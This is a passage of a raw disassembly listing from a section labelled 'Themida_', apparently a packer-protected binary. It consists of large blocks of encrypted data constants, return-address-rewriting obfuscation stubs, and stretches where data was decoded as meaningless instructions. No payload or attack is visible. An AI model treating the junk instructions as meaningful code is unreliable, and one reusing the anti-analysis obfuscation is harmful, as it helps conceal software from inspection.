add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5D91CA endp
; ---------------------------------------------------------------------------
pop edx
lea eax, [ebp+7E96E88h]
push 0
push ecx
call sub_5D91EC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D91EC proc near ; CODE XREF: Themida_:005D91E4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5D91EC endp
; ---------------------------------------------------------------------------
dd 5E189BE2h, 8B66F8A6h, 5C083F8h, 50FABF0Fh, 489FD8Ah
dd 0D4C78124h, 6A559A92h, 14E800h, 8E420000h, 61C79BDh
dd 1ACE01CCh, 6C5A7736h, 552D1A5Fh, 11E971EEh, 29000000h
dd 0F0E4EE1Eh, 0D03A5C45h, 0F6F1994Ch, 77CCBC4Ah, 0FF006A5Bh
dd 0E4247195h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0BB66C34Dh, 0B589AC86h
dd 7E40065h, 0D64B8D8Dh, 0D1FF07E7h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0B4C35545h, 5E8A2h, 4CE90000h
dd 35D8A20h, 0E41BC19Dh, 0BD835B07h, 7E42015h, 58850F01h
dd 80000000h, 26AE1C7h, 126DB589h, 509007E4h, 0BF505250h
dd 5C54CA3Ah, 60310F5Bh, 6325CAB9h, 0DFD9BF45h, 5A6112C7h
dd 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 7E30CAC3h, 79DBE17Ah, 13B1BD8Bh, 95FF07E4h
dd 7E431ADh, 0E99DC780h, 0E54h, 0E8h, 0ED815D00h, 7E96E92h
dd 8FE54BBh, 0D19D8B1Bh, 6A07E429h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 888C351h
dd 81C014DFh, 0B7F8D0DFh, 0E1858D14h, 3107E7C6h, 0E42219BDh
dd 13E99007h, 2E000000h, 85DDAE2Eh, 0EA474BC0h, 0F5162D95h
dd 0D97C35A6h, 9050ADDAh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 0D1C35040h, 40CE076Eh, 0F725BF28h, 8B6075ADh
dd 0E4127D8Dh, 81BD8907h, 6107E419h, 35FF64h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 80C2C355h, 896421CFh, 25h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 71C02BA6h, 85FF6E0Dh, 7E420B9h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 65C35646h, 0F88AB34Dh, 6AFF6Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 57B222C3h, 0A5EE4105h, 56BA3FA0h, 34A4BF66h, 15B5FF5Fh
dd 6A07E40Eh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 7CA2C350h, 0FF5EBB1Ch, 0E4304D95h
dd 10EE907h, 33BF0000h, 0B058C725h, 11858900h, 0E607E40Eh
dd 0E3816670h, 71E43AC3h, 3CFEB70Fh, 0ED830F61h, 66000000h
dd 0F9636BBh, 6BAC8B6h, 8B000000h, 12BB66C1h, 4E8C1DEh
dd 0BE9h, 0CE06FE00h, 0D07C3611h, 5003F71Eh, 52E2F766h
dd 0EB7B5BFh, 0C82B5F47h, 0E699D8Bh, 0D18B07E4h, 95895251h
dd 7E42C29h, 0A5E95F5Fh, 66000000h, 8B5D69BBh, 47554C85h
dd 0F9BF6649h, 7C083BBh, 19CDBD8Bh, 0C08307E4h, 68E0F00h
dd 8B000000h, 0E413899Dh, 0FD03B07h, 2483h, 5E900h, 4EDB0000h
dd 0F79BB1Dh, 58Fh, 0DF816600h, 5DE92F7Fh, 0F000000h
dword_5D9534 dd 48Ah, 0DBF6600h, 0FF8D8BC9h, 0F5FFFFFFh, 3840Fh, 8B660000h
; DATA XREF: Themida_:005850E4o
dd 1E183DFh, 3A840Fh, 8D0F0000h, 6, 20219D8Bh, 0A58307E4h
dd 0FFFFFFFFh, 0DE8FEh, 1FD80000h, 0A01546BEh, 278E4C0Fh
dd 31FB9BE3h, 0E41C999Dh, 95895F07h, 4947554Ch, 0E9FE8B66h
dd 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7E8EA0Eh]
push 0
push esi
call sub_5D95A1
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D95A1 proc near ; CODE XREF: Themida_:005D9599p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5D95A1 endp
; ---------------------------------------------------------------------------
db 53h, 98h, 0D8h
dd 0D380E8FFh, 619D8B33h, 6A07E40Bh, 0A9BB6600h, 4195FF33h
dd 0F07E40Eh, 0D1B9FBB7h, 6A00000Eh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 38CAC350h
dd 835B57A3h, 0FE9FCE1h, 94000000h, 871C084Fh, 92E00A8Ah
dd 50A0B04Ah, 0FA8BC1C3h, 51006AFCh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 36F20339h
dd 2BAD8529h, 0BD8B07E4h, 7E413C9h, 0B8h, 599D2300h, 2B07E422h
dd 33ADF8D2h, 3E8D1C2h, 4E983D0h, 8166F475h, 563E5ED7h
dd 880D5Bh, 8D890000h, 7E41B55h, 1B71958Bh, 6A07E4h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 1DB2E0C3h, 0EB816B77h, 3175866Fh, 0FE9h, 0C026D400h
dd 196ECBE2h, 95B64BC1h, 0CC2E1CE1h, 2DA18D8Bh, 8B5007E4h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0FC35747h, 0FAD780E3h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A1C35040h
dd 8580D0BEh, 44A4EBB5h, 6348B860h, 61F84B80h, 0AF19509h
dd 0BD8307E4h, 7E40611h, 5D840F00h, 81000000h, 3A8CF9C7h
dd 0B816h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 9F0BDFC3h, 5B589D8h, 8D07E42Ah
dd 0E44FE78Dh, 59BD8B07h, 0FF07E424h, 50006AE1h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 0FA312F67h, 22B9BD83h, 0F0007E4h, 3EA84h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 14E9EFh, 0DFB00000h, 88BDD70Ch, 657B308Dh, 0C9D66382h
dd 93D529E5h, 0BD83EC66h, 7E422B9h, 0C3840F01h, 6A000003h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0ED91C353h, 85F8E9E4h, 2B3F97FDh, 83DF8B66h
dd 0E422B9BDh, 860F0307h, 358h, 6810Fh, 0BD010000h, 7E412B9h
dd 0F8BF0F60h, 1C9BD8Bh, 8C6607E4h, 57006AD9h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 9736FA0Ch
dd 48DB8A0Eh, 7DF81F3h, 80140CFAh, 6A04E1h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 87BB5C3h
dd 1D575AF8h, 0D585890Ah, 0A07E401h, 21840FC9h, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 9382C355h, 7E96A65h, 2000000h, 0FBE5334Ch
dd 8529548Eh, 7E404BDh, 651858Bh, 6A07E4h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 280640C3h
dd 63D0D7C9h, 8D09D01Ch, 7E43235h, 20298533h, 6A07E4h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 3BFFA1C3h, 904984E2h, 4810F50h, 60000000h, 90616160h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 73C35141h
dd 4843484Bh, 6024122Bh, 1890Fh, 8BF50000h, 6A61C7h, 81D9B70Fh
dd 1B520CC3h, 0A5976815h, 8B667EA9h, 243481FBh, 7EB6A668h
dd 1D19D8Bh, 0FFF807E4h, 0E42D9995h, 6EDB8107h, 890C5A1Ch
dd 0E42F89B5h, 0A5858907h, 6A07E7F8h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 3D81C351h
dd 170E9h, 5CE78000h, 0F89D858Bh, 12E807E7h, 0D5000000h
dd 0BA7BCFFFh, 20FD2453h, 899A9A15h, 35850079h, 0BE86BB99h
dd 0F5B3B7Ch, 0C7FFB7h, 18h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 42C35040h, 8B12DF80h, 0E7F8A1B5h
dd 0F59D8B07h, 8B07E423h, 0E4009985h, 0C5BD8B07h, 8A07E400h
dd 0FC0689DEh, 651858Bh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 14F799C3h, 468906F8h
dd 96F98B04h, 0E8525053h, 8, 0C3DACFF8h, 7A9B3493h, 66310F5Fh
dd 5A12E0BBh, 0F505F58h, 8Eh, 6A9600h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C8E56EC3h
dd 54D72DFCh, 0FF174A73h, 0E7F89DB5h, 45BD3307h, 6807E40Eh
dd 4EC1731Ch, 3481FB8Bh, 0DE70E324h, 15BD034Eh, 8D07E425h
dd 0E7F8A585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 21BA5183h, 2C319D8Bh
dd 605007E4h, 0EE8h, 0EECB6200h, 5806F0CFh, 2B6AEAFAh
dd 8B1C25F4h, 89615FD7h, 85292404h, 7E40911h, 2D9995FFh
dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 8F10EDC3h, 85C7616Dh, 7E422B9h, 3, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7FC35545h, 0EFDF4983h
dd 0BD8350B3h, 7E7F8A5h, 19840F00h, 29000000h, 0E423E9B5h
dd 29E907h, 9E90000h, 7B000000h, 84084749h, 0DE4CBFh, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0CE3AC352h, 0A71673Dh, 12E825h, 8CDC0000h, 76B29BECh
dd 2F64DDC7h, 0F3AC5D4h, 6084DBC6h, 0FE9h, 422E3A00h, 6EAEE137h
dd 0D6524546h, 7C91323Ah, 6E85Fh, 0D9010000h, 0AD8B2E75h
dd 12E9h, 25716800h, 48086BB7h, 0AE3683F6h, 0DC0B2EF5h
dd 5F6EE9F2h, 25F99589h, 0BD8307E4h, 7E422B9h, 850F03h
dd 6A000005h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 8248C350h, 94DDF7A8h, 8A6D3118h
dd 95EF81FCh, 834F225Eh, 0E7F8A5BDh, 840F0007h, 4C7h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0CDC35646h, 95891071h
dd 7E42431h, 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 6F513EC3h, 0B08ABD0h
dd 0E42B9D9Dh, 0D9D8907h, 0FF07E416h, 0E4044D95h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 96BE6F1Fh, 0AE9D756h, 21000000h, 0BF9B9739h, 56ED9B5Dh
dd 99B58B9Ch, 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 548BC355h, 6ECAB287h
dd 6DED502Ah, 0EE9h, 0B6FB6D00h, 5B4B4C5h, 0BEC29100h
dd 0C79A6AF3h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 8B66C7FAh, 0B99D8BD8h
dd 9607E430h, 1694BABBh, 0F5BB5052h, 961F544Fh, 1A41BD33h
dd 0B5FF07E4h, 7E7F8A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 19C35747h, 1AB4C3D5h, 12E8h, 6A82C200h
dd 1C4A56F3h, 0EC53A249h, 27B00790h, 66F1A7E5h, 0FF5BDA8Bh
dd 0E42A0995h
dd 3160F807h, 0E40B2585h, 8D8B5607h, 7E402E1h, 0B58B615Fh
dd 7E7F899h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 7C35141h, 6C7DC276h, 43AA2A48h, 0A8D0Fh, 5E90000h
dd 25000000h, 0AFA8EA70h, 3165858Bh, 6A07E4h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD09F7C3h
dd 7E42311h, 0FE9h, 32CC2900h, 21C4A923h, 9C3CBBCAh, 7764A5AAh
dd 0C48689h, 0BF0F0000h, 71958BF9h, 8A07E41Bh, 4C283F9h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 49C35646h
dd 0A4CCBB3Ah, 302DB757h, 12E9h, 13527000h, 0C600A4E7h
dd 0B9040A6h, 0C7CE248Eh, 89F34D25h, 8B662050h, 8DFE8BD8h
dd 0E80CD485h, 7FBF6607h, 0B88689C1h, 0E9000000h, 0Fh
dd 0D02926DFh, 21761405h, 4A19404h, 6A75D714h, 0B5FFF900h
dd 7E7F8A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 5BC35747h, 0F73ADDD5h, 10E8E07Fh, 0DB000000h, 75AA4C6Bh
dd 5F754031h, 0A43E7AADh, 0F3DEE69h, 178Ch, 12E900h, 7B960000h
dd 81059753h, 12396217h, 0DDAD28DAh, 0DC605D02h, 0AD95FF5Bh
dd 6A07E431h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 67A3C352h, 6BAB2107h, 10E87Ch
dd 0C0980000h, 0DD2DD2E4h, 430C2B82h, 6B9560ECh, 67BB75B6h
dd 5B7D2247h, 892FB750h, 6A2434h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 2E251EC3h, 6E188B7Bh
dd 0F8A5B5FFh, 0BF0F07E7h, 1195FFFFh, 8B07E41Bh, 0F9BD83D9h
dd 7E40Dh, 3D840Fh, 8D890000h, 7E42739h, 8A525096h, 66310FFAh
dd 5AB959BFh, 5B515058h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 85225059h, 1FE3819Fh
dd 0FF651784h, 0E7F8A5B5h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 636A1269h
dd 66BACB7Eh, 0A84BDF81h, 659D8960h, 6607E405h, 7366E981h
dd 7D95FF61h, 8B07E402h, 0CE8FAh, 76470000h, 10104802h
dd 0D6A00688h, 0FF5F5F38h, 0E7F8A5B5h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 0F97D91F5h, 177E178Dh, 0AE9h, 80053400h, 6FDDE8E0h
dd 0FFCAEE4Ch, 0E4097195h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 6D794C30h
dd 8166574Bh, 5FCE9AE7h, 0A21BD83h, 0F0207E4h, 7C84h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0F60B0BDh, 8166D0BFh, 619665CEh, 0B3DB509h, 858B07E4h
dd 7E41EB5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0BEC35141h, 53CD9A26h, 0C6C92061h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 8BDE3DC3h, 0E413E19Dh, 7185C707h, 7E426h, 66000000h
dd 0E9A549BFh, 0FFFFF2F4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 80C35242h, 92C2DDEDh, 0DE9h, 0C8927E00h
dd 637D83D3h, 0A93B9CFBh, 0BD8BD46Ch, 7E427B1h, 0DE8BC18Bh
dd 11E8h, 5D07D300h, 119046D3h, 577A7C80h, 3AFA08BDh, 858B3DCEh
dd 7E42C49h, 32C7815Fh, 8B000068h, 0E426AD9Dh, 6807h, 85310000h
dd 7E426D9h, 8E95Ah, 0C6760000h, 4CF741CCh, 348B6496h
dd 65958917h, 8107E405h, 0BF6FD3F6h, 6AEE8124h, 571A4CB8h
dd 2B3016BBh, 0EE815924h, 17D7CDFAh, 96AFE8B8h, 10E8566Ah
dd 0D7000000h, 0E26888E2h, 44890FA3h, 8E57E5D7h, 0FDB19B8h
dd 388h, 0CBD58000h, 17048F5Bh, 9607BDBBh, 158D8B1Fh, 8107E426h
dd 8BC304EAh, 1D8D8B58h, 8107E424h, 8BC300C2h, 8E858h
db 2 dup(0)
word_5DA21A dw 0F4D1h ; DATA XREF: Themida_:005838E8o
; ---------------------------------------------------------------------------
pop ebx
fst qword ptr [eax]
lahf
mov bh, 65h
mov [ebp+7E413EDh], ebx
pop eax
cmp edx, 0FFFF98B8h
jnz loc_5DA24C
mov ebx, [ebp+7E430A9h]
jmp loc_5DA25F
; ---------------------------------------------------------------------------
dd 1201288Eh, 42FC67B2h, 0BAFDA66Dh
; ---------------------------------------------------------------------------
loc_5DA24C: ; CODE XREF: Themida_:005DA22Fj
mov ebx, edi
jmp near ptr dword_5D9DB4+3FAh
; ---------------------------------------------------------------------------
db 0FBh
dd 0AEAE21C0h, 248CB45Dh
; ---------------------------------------------------------------------------
and al, 0BCh
push es
loc_5DA25F: ; CODE XREF: Themida_:005DA23Bj
lea ecx, [ebp+7E97E8Ch]
push ebx
jmp loc_5DA275
; ---------------------------------------------------------------------------
db 25h
dd 982FF8A3h, 0C07830F4h
db 4
; ---------------------------------------------------------------------------
loc_5DA275: ; CODE XREF: Themida_:005DA266j
pop edi
xor dl, 52h
mov [ebp+7E41B71h], ecx
push 0
push esi
call sub_5DA28A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DA28A proc near ; CODE XREF: Themida_:005DA282p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5DA28A endp
; ---------------------------------------------------------------------------
dw 0A6EDh
; ---------------------------------------------------------------------------
mov dword ptr [ebp+7E42DA1h], 7144h
push 0
push edx
call sub_5DA2B1
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DA2B1 proc near ; CODE XREF: Themida_:005DA2A9p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5DA2B1 endp
; ---------------------------------------------------------------------------
and esi, esi
les esi, [ecx+eax-1BEBA27Bh]
pop es
mov dword ptr [ebp+7E422B9h], 0
mov esi, 102E9FACh
push dword ptr [ebp+7E40919h]
mov [ebp+7E4356Dh], edx
or [ebp+7E41B49h], ebx
call dword ptr [ebp+7E43061h]
push 0
push edx
call sub_5DA2FD
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DA2FD proc near ; CODE XREF: Themida_:005DA2F5p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5DA2FD endp
; ---------------------------------------------------------------------------
clc
dec bx
push 0
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_5DA37A
; ---------------------------------------------------------------------------
dd 9D614602h, 4C2DDBF5h, 12C6E424h, 0E27DD0B1h, 64CE43E6h
dd 6AB3EDE6h, 6B1210DAh, 0F671BA5h, 3DFC382Dh, 94ED015Dh
dd 0D729D728h, 972A530h, 35D49FB7h, 661514D2h, 40B4B1CEh
dd 764359Eh, 0F9C06354h, 5A69986Ah, 73BF51AEh, 775C70C7h
dd 798CB7B0h, 3401722Dh, 30148F41h
; ---------------------------------------------------------------------------
fsub dword ptr [edi]
loc_5DA37A: ; CODE XREF: Themida_:005DA31Aj
lea ecx, [ebp+7E97F64h]
mov bx, ax
js loc_5DA38F
mov ebx, [ebp+7E42389h]
loc_5DA38F: ; CODE XREF: Themida_:005DA383j
mov [ebp+7E41B71h], ecx
mov [ebp+7E40045h], esi
mov dword ptr [ebp+7E42DA1h], 6F9Ch
jns loc_5DA3C4
jnb loc_5DA3C4
jmp loc_5DA3C4
; ---------------------------------------------------------------------------
dw 58DCh
dd 0A9896A00h, 0EAAC3E32h, 0CEA425CCh
; ---------------------------------------------------------------------------
loc_5DA3C4: ; CODE XREF: Themida_:005DA3A5j
; Themida_:005DA3ABj ...
mov dword ptr [ebp+7E422B9h], 0
add ax, 0A6ADh
push dword ptr [ebp+7E42BF1h]
mov dx, ax
loc_5DA3DC: ; CODE XREF: Themida_:005DA439j
call dword ptr [ebp+7E43061h]
xor [ebp+7E40D35h], esi ; CODE XREF: Themida_:005DA410j
push 0
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_5DA40E
; ---------------------------------------------------------------------------
dd 26C82F28h, 64ACA07Ch, 0B9962B5Ch, 0BE4C9FDFh, 39203155h
dd 2E337FC0h
db 59h, 9Ah
; ---------------------------------------------------------------------------
loc_5DA40E: ; CODE XREF: Themida_:005DA3F2j
fisubr word ptr [edx]
jno short near ptr loc_5DA3E2+4
aam 46h
dec ebx
fadd qword ptr [ecx]
jg short near ptr loc_5DA46A+4
enter 5CD4h, 52h
cwde
arpl [ebx], si
or ebp, [ecx-67D9CC57h]
icebp
pop edx
db 26h
pop esi
out dx, eax
push ds
or bh, [edx+esi+60h]
loc_5DA430: ; CODE XREF: Themida_:005DA491j
dec esi
mov ah, 0FFh
in al, 0A5h ; Interrupt Controller #2, 8259A
db 67h
clc
jb short loc_5DA440
jl short loc_5DA3DC
mov esi, 0D4E33FA3h
loc_5DA440: ; CODE XREF: Themida_:005DA437j
and [edi+79h], esp
mov edx, 0D7F455A3h
and [ebx], ebx
xlat
outsb
daa
jl short near ptr loc_5DA480+1
xor ebp, [ecx]
sbb eax, 98263383h
sal byte ptr [esi+344FE7B5h], 76h
adc eax, 7159B6D6h
scasb
arpl cx, bx
or eax, 9FC21319h
loc_5DA46A: ; CODE XREF: Themida_:005DA417j
and dword ptr [esi-68h], 35h
pop ecx
and edx, ds:7159A61Fh
dec edx
arpl [ebx-30B3DCE3h], bp
lahf
add ecx, esp
loc_5DA480: ; CODE XREF: Themida_:005DA44Dj
mov bl, 35h
mov edx, 149321D7h
cmp al, 0A2h
mov eax, ds:1526336Ah
mov al, 0A6h
pop ecx
jno short loc_5DA430
arpl si, cx
stosb
dec ebp
xor esp, [esi]
fdiv st, st(6)
mov esi, 0DA2C03A3h
loc_5DA4A0: ; CODE XREF: Themida_:005DA4CFj
and eax, ecx
and al, 0B6h
mov bl, 0E7h
cmp eax, 0FF677634h
pop edx
pop es
jl short loc_5DA4E1
mov al, 0E2h
xchg eax, esp
pop ss
mov dh, 0B3h
out 0A4h, eax ; Interrupt Controller #2, 8259A
xor al, 76h
adc eax, 7159B623h
push esp
arpl cx, bx
or eax, 9FC21364h
cmp eax, 6A982651h
lodsw
jz short loc_5DA533
db 64h
jz short loc_5DA4A0
adc [esi+2Eh], ecx
stosd
; ---------------------------------------------------------------------------
dw 0DA8Dh
; ---------------------------------------------------------------------------
and al, 98h
cmpsb
xor esp, [esi-21h]
ror dword ptr [esi], cl
loc_5DA4E1: ; CODE XREF: Themida_:005DA4ADj
xchg eax, edi
sub al, 0C6h
fldenv byte ptr [edi+2Bh]
add bh, ch
adc edx, [edi]
cmp ecx, edi
mov dl, 35h
xor esp, [esi]
stosd
dec eax
mov ecx, 3A71831h
lodsd
push 5AAD63E8h
add [eax+33A9982Ch], cl
iret
; ---------------------------------------------------------------------------
db 9Bh, 0D4h, 33h
dd 7D896F26h, 3C3566A5h, 0CC656CA1h, 0FB4EC3D9h, 38EEDF7Eh
dd 0FDD697E6h, 0B85667D9h, 6C8EC6E7h, 37A8517Fh, 0B0881526h
db 59h, 71h, 9Dh
; ---------------------------------------------------------------------------
loc_5DA533: ; CODE XREF: Themida_:005DA4CDj
mov esi, 0DACD20ABh
and [eax], esp
xchg eax, ebx
; ---------------------------------------------------------------------------
db 0
dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h
dd 0B8B58DFFh, 8D07E980h, 0E980D78Dh, 83CF2B07h, 0C88B05E9h
dd 13E8h, 0E75B7600h, 0F4BBC2FCh, 7528F235h, 15ABBBB7h
dd 7D69B573h, 95895BF5h, 7E420E5h, 7157C381h, 9D010000h
dd 7E414E9h, 0BAh, 1A34FF00h, 1471858Bh, 0F85E07E4h, 7FDEE81h
dd 0F6816488h, 3DB85D4Dh, 19820Fh, 14E90000h, 43000000h
dd 0D949A581h, 0CF9004ADh, 98BDE702h, 3F492312h, 8168B2EDh
dd 47BBBBC6h, 3FD48041h, 0F5133489h, 0E904EA83h, 10h, 563FACA9h
dd 0EC083FBEh, 0E48F91F7h, 68CADC83h, 8F68FA81h, 850FFFFFh
dd 1Dh, 13B1BD01h, 25E907E4h, 71000000h, 0CFCE9C80h, 41B74BD0h
dd 0B863CCA8h, 8D923594h, 0FDB58942h, 0E907E42Fh, 0FFFFFF71h
dd 0D8E835CAh, 80008EEFh, 823F8D8Dh, 0BA6607E9h, 8D896A68h
dd 7E41B71h, 2850Fh, 0ECB40000h, 53DB58Bh, 85C707E4h, 7E42DA1h
dd 5D54h, 87C38166h, 0B985C742h, 7E422h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 5D15C351h, 0B5FF8EA9h, 7E40919h, 14E8h, 0C9A41E00h
dd 5D0D268Bh, 4B13ED1h, 0E2184FA4h, 92EA333h, 0CE97Bh
dd 0C890000h, 0A686D859h, 0BBDBFB80h, 0FF58494Fh, 0E4306195h
dd 0D6BF6607h, 0A5F081E4h, 6A3DA6EEh, 4195FF00h, 8B07E40Eh
dd 185EEBC0h, 215A2Ah, 0B9D15E9Dh, 0ED057B10h, 116D8F10h
dd 29B0C9DBh, 0B559B3CAh, 0A9527617h, 809BEA95h, 43F6AA6h
dd 0DB5A241Ah, 863F5CB8h, 4DBD3A63h, 5B2256FBh, 1E08F1F3h
dd 7C58283Fh, 0F7426E92h, 0F8078817h, 6EC51083h, 98D91AF3h
dd 9775086Eh, 48027647h, 6881010h, 5F38D6A0h, 0A68D8D36h
dd 6A07E983h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0D85FC350h, 41DB89DCh, 0D08B6664h
dd 0CB99BF66h, 1B718D89h, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 9FA87AC3h, 47170C9Fh
dd 0A185C7F6h, 2C07E42Dh, 6A000067h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 8C74C356h
dd 0BDB03C64h, 22B985C7h, 7E4h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3E1A46C3h
dd 60A6BCC4h, 0B560EB0h, 0E4070DB5h, 51615807h, 0B5FF5BF5h
dd 7E42291h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 6DC35646h, 1648A8EDh, 0FE22E1Ah, 68Ah, 0DDBD8B00h
dd 0FF07E402h, 0E4306195h, 259CBE07h, 6A43A0h, 0E4195FFh
dd 0C08B07E4h, 0B1296FEBh, 6D69C59Dh, 7746807Bh, 271B65EAh
dd 124FBEE6h, 0CC5CB780h, 0CD110717h, 3E4F9AD8h, 24B89327h
dd 8A1F0C0h, 0E87602Eh, 747CBA3Ah, 1B797235h, 800D1BDBh
dd 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h, 0FCE75B76h, 35F4BBC2h
dd 0B77528F2h, 7315ABBBh, 417D69B5h, 4CE2F3B6h, 0D2368F93h
dd 134FA557h, 0F6F4A6F2h, 30D0CE97h, 0F9CE3EC4h, 888A4EF8h
dd 0F3F4D7BAh, 94127A8Ch, 7974C536h, 79345FB2h, 40176D5h
dd 0FB52E828h, 7402E4F1h, 0F5882E31h, 77E50348h, 99F116BCh
dd 0A3FEC2D7h, 0CD82BA6Ah, 77E57804h, 2016CC31h, 7402E462h
dd 0F5882E31h, 77E50348h, 96DE16BCh, 0A3FEC2D7h, 706BBA6Ah
dd 70029964h, 2D21B831h, 1C8801F2h, 34802A15h, 70151315h
dd 25448B31h, 0F50829F2h, 77E5F1C8h, 73DCECBAh, 0CD88BFD5h
